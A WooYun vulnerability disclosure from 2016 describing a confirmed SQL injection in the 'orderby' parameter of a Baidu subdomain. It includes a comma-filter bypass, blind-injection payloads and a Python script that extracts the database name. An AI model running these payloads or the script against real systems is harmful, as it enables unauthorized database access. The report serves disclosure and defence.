当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0197963

漏洞标题:百度某分站存在SQL注入漏洞(orderby注射技巧)

相关厂商:百度

漏洞作者: 蓝冰

提交时间:2016-04-18 22:21

修复时间:2016-06-03 10:40

公开时间:2016-06-03 10:40

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-04-18: 细节已通知厂商并且等待厂商处理中
2016-04-19: 厂商已经确认,细节仅向厂商公开
2016-04-29: 细节向核心白帽子及相关领域专家公开
2016-05-09: 细节向普通白帽子公开
2016-05-19: 细节向实习白帽子公开
2016-06-03: 细节向公众公开

简要描述:

测试扫描器 结果没有识别出来 查看请求信息直觉有漏洞
妈蛋 高兴不起来啊
注入点确实有点蛋疼

详细说明:

POST: http://trends.baidu.com/tour/ajax/scenic


provinceId=26&timestamp=1437191757000&orderby=heat,desc


orderby参数存在注入
这里的逗号会被替换成空格 也就是order by heat desc
所以不能带逗号 然后heat这个点不存在注入点 desc处是存在的
因为不能带逗号所以不能形成如下的注入语句

order by id desc,if((116>115),1,(select 1 from information_schema.tables))


order by id,if(1=1,1,(select 1 from information_schema.tables))


经过测试发现可用如下payload

heat,rlike case when (1=1) then 1 else char(40) end


因为不支持0x28这种格式所以换成char(40)
1=1时正常
1=2时异常
形成bool盲注

import urllib
import urllib2
import httplib
import time
user = ''
for i in range(1,7):
for j in range(32,127):
values = {'provinceId':'26','timestamp':'1437191757000','orderby':'heat,rlike case when (ascii(mid(database()from('+str(i)+')for(1)))='+str(j)+') then 1 else char(40) end'}
data = urllib.urlencode(values)
req = urllib2.Request("http://trends.baidu.com/tour/ajax/scenic",data)
response = urllib2.urlopen(req)
html = response.read()
if html.find('"status":403')==-1:
user = user + chr(j)
print 'Database is : '+user
break


因为貌似有负载均衡导致user()长度一直会变化@后面的ip地址也随之变化 所以这里只注database()
只过滤了逗号 绕过注出所有数据无压力 我就不深入了

heat,rlike case when (select count(1) from information_schema.tables limit 1 offset 0)>0 then 1 else char(40) end


返回正常 仅证明到这 都懂的

漏洞证明:

已证明

修复方案:

过滤

版权声明:转载请注明来源 蓝冰@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2016-04-19 10:34

厂商回复:

感谢您关注百度安全!问题分析的细致。

最新状态:

暂无